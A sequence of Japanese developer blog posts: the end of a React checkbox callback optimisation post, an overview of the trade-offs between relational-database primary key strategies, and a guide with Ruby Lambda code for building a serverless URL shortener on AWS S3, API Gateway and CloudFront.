    </label>
  );
};

それほど複雑ではないですが、これで関数オブジェクトが再生成されることはありません。
また、このようにイベントから変化後の値を取るようにすると、関数自体は(副作用はあるけれど)stateの値には依存しなくなるため、設計としても改善していると思います。

検証

検証用のCodeSandboxのコードを置いておきます。

codesandbox.io

consoleタブを開いている状態で両者のコードを実行すると、MyCheckboxのほうは関数の再生成が起こっていないことが見てとれます。

なお、このコードでは関数が生成されたことを検出するためにuseCallbackではなくuseMemoを使っています。

おわりに

この程度でも適切な実装例が全然出てこないので、ちょっと不安になっています。
自分の実装が間違っている可能性もあるので、気づいた方はtwitter等までご連絡いただければ幸いです。

RDBのprimary keyについてのまとめ

はじめに

最近、RDBのprimary keyについて議論することが多かったため、それぞれのメリット・デメリットをまとめておきます。

この記事で扱うprimary keyの選択肢

この記事では、以下のprimary keyについて扱います。

  • natural key
  • surrogate key
    • RDBのauto incrementを使ったもの
      • RDBでのID発行
      • 事前採番方式
    • UUID
    • ULID
    • その他のID採番サービス

まずは各論を書いていきます。

natural key

natural keyが使えるのであれば、最もシンプルになるかと思います。
ただし、natural keyにできるカラムの制約は厳しく、

  • NOT NULL
  • unique
  • 不変性

の3つが必要です。
特に不変性の条件が厳しく、例えばユーザ名などをprimary keyにしてしまうと、ユーザ名の変更が難しくなってしまいます。

また、多くのカラムの複合キーになると、運用上も少し辛いのかもしれません。

RDBでのauto incrementのID発行

おそらく一番普通のやつで、Rails出身の私はこれしか知らなかった時期もあります。
数値型で扱いやすく、パフォーマンスも良いです。

デメリットとしては、型のある言語を書いている場合に、初期値が未定義になってしまい扱いが面倒になること(idがOptionになるなど)が挙げられます。
また、RDBの機能に依存してしまっているのも嫌な感じです。

RDBでのauto incrementを用いた事前採番方式

Postgresqlであればシーケンスを使うと、事前採番を実現できます。
MySQLなどを使う場合に、なるべく標準SQLで実装するのであれば、ID採番テーブルを使うことになるかと思います。

初期値が未定義になる問題が解決できる一方、単純に実装がちょっと複雑になり、IO回数が増えてパフォーマンスにやや懸念が出ます。

実装の詳細は、以下の記事を参考にしてみてください。
MySQL で採番テーブル - Qiita

UUIDを用いる

UUIDを用いる場合は、アプリケーション側でIDを発行できます。
auto incrementのデメリットを解消できますが、文字列になってしまう分、パフォーマンスの懸念が出てしまいます。

https://kccoder.com/mysql/uuid-vs-int-insert-performance/

また、デメリットとして、ページング処理が少しやりにくいかと思います。
例えば、最新順に取ろうとする場合などは、created_atが重複したレコードの返ってくる順番が不定なので、毎回primary keyでもソートする必要が出てきます。(実装依存でうまくいく場合も多そうですが)

ULID

ULIDを用いるとUUIDのソート周りの不便さを解消することができます。
しかし、パフォーマンスについてはUUIDと同程度の懸念があります。

やや新しく、枯れていない技術という印象を受けるのが不安です。
ライブラリがない場合は、単純ですが自分で実装する必要があります。

また、発番されるIDがアプリケーションサーバの時刻に依存するため、時刻の同期ズレの問題が発生する可能性があります。

その他のID採番サービス

IDを採番するためのサービスを別で運用することも考えられます。
数値型のIDをRDBとは別のところで発行することができるので、これまでに挙げたデメリットは解消できます。

ただ、どうしても仕組みが大掛かりになってしまうことと、ID採番サービス自体が障害点となりえることがデメリットです。

TwitterのSnowflakeが有名です。

総論

まず、大掛かりになってもよいのであれば、ID採番サービスを作っても良いでしょう。

そうでない場合には、

まずRDBが単一障害点になったり、RDB自体にロックインされてもよいか考えましょう。
そこが気になるのであれば、パフォーマンスを測定して検討した上で、UUIDかULIDを採用します。

サーバ間の時刻ズレがシビアになるような要件(入札など)があり、ULIDを使う場合には、時刻ズレに関しては注意を払う必要があります。
他にも、ライブラリがなくて自前実装を避けたい場合などには、UUIDを使う道理もあるかと思います。

特にデータもSELECT回数も多い場合で、UUIDやULIDではパフォーマンスに懸念があるのであれば、事前採番を行うこともできます。
ただし、ちゃんと測定しないと事前採番が不利になる可能性もあるので、やはりパフォーマンス測定は必要です。

RDBが単一障害点になっても、RDBにロックインされても問題なく、型のない言語で開発して困っていないのであれば、RDBのauto incrementをそのまま使っても問題ないです。
自分は、Railsで開発する場合には雑にauto incrementでやってしまう場合がほとんどです。

結論

IDの設計は、機能要件にも非機能要件にも関わる箇所で、後からの変更は難しいです。
にもかかわらず、どの方法にもデメリットが存在するので、銀の弾丸はありません。

結局は、事前に要件定義をちゃんとし、パフォーマンス測定などの検証も行った上で設計するしかないかと考えています。

参考記事

この記事を書くにあたり、以下の記事を大いに参考にさせていただきました。
ありがとうございました。

blog.j5ik2o.me

S3を永続化層に使って、サーバレスで安価なURL短縮サービスを作ってみた(AWS lambda + API Gateway + CloudFront + S3)

はじめに

URL短縮サービスを作って遊んだので、terraformのコードを含めて共有します。

参考記事

以下の記事の構成を参考にしましたが、CloudFormationは使わずに一から作ってみました。

engineer.retty.me

CloudFormationを使わなかった理由は、常用しているterraformでのコード管理との相性が悪いと感じたためです。
また、必要ない機能は極力省き、最小構成での実現を心がけました。

構成

CloudFrontにGETリクエストが来た際はS3の静的サイトホスティングの内容をそのまま返す。
S3の静的サイトホスティングではメタデータを使ったリダイレクトを設定してあるため、リダイレクトされる。
POSTリクエストが来た際は、API Gatewayからlambdaを起動し、S3のファイルを作成する。

f:id:betit0919:20200921171522p:plain
システム構成

リポジトリ

この記事では概要のみ説明するため、詳細な実装は以下のリポジトリを参考にしてください。

github.com

実際の手順

S3の作成

静的サイトホスティングに最低限必要なものがあれば十分です。

今回の例だとindex_documentにはアクセスされることを想定しないので、適当に設定しましょう。

また、S3にライフサイクルポリシーを設定することで、短縮されたURLを一定期間後に失効させることも可能です。(今回は設定していません)

lambdaの作成

s3:ListBucketの権限を付与しないと、ファイルの存在確認ができないことに注意する必要があります。

rubyスクリプトは以下の通りです。URLの文字数はユースケースに応じて適宜変更してください。

# frozen_string_literal: true

require 'aws-sdk-s3'
require 'json'
require 'securerandom'
require 'uri'

BUCKET_NAME = 'your-url-shortener'
BUCKET_WEBSITE_URL = 'https://your-domain'

def lambda_handler(event:, context:)
  s3 = Aws::S3::Resource.new
  url_str = event['url']
  return { statusCode: 400, body: 'Invalid url parameter.' } unless valid_url?(url_str)

  loop do
    file_name = SecureRandom.alphanumeric(6)
    obj = s3.bucket(BUCKET_NAME).object(file_name)
    unless file_exists?(obj)
      obj.put(body: '', website_redirect_location: url_str, acl: 'public-read')
      return { statusCode: 200, body: "#{BUCKET_WEBSITE_URL}/#{file_name}" }
    end
  end
end

private

def valid_url?(url_str)
  uri = URI.parse(url_str)
  uri.is_a?(URI::HTTP) && !uri.host.nil?
rescue URI::InvalidURIError
  false
end

def file_exists?(obj)
  obj.get
  true
rescue Aws::S3::Errors::NoSuchKey
  false
end

API Gateway

lambdaをエンドポイントから叩けるようにするだけで、特に工夫する点はありません。
REST APIで作成しました。

CloudFront

ここまでで動かすだけならば必要はありません。
作成する際はAPI Gatewayのエンドポイントを叩き、その後はS3のリンクを直接使えば良いです。
ただ、ドメインが一つにならないことと、S3のリンクが長くて短縮の効率が下がってしまうことを避けるために、CloudFrontを使いました。

本番運用の場合はキャッシュを適切に設定することによって、非常にパフォーマンスの良いシステムになります。

感想

URL短縮サービスの構成として、永続化層にS3を使うというのは、非常に面白い発想でした。
集計周りにやや難がある以外は、安価でシンプルでスケーラブルという素晴らしい構成だと思います。

ただ、この構成はガチガチのベンダーロックインではあるので、そちらについては注意する必要がありそうです。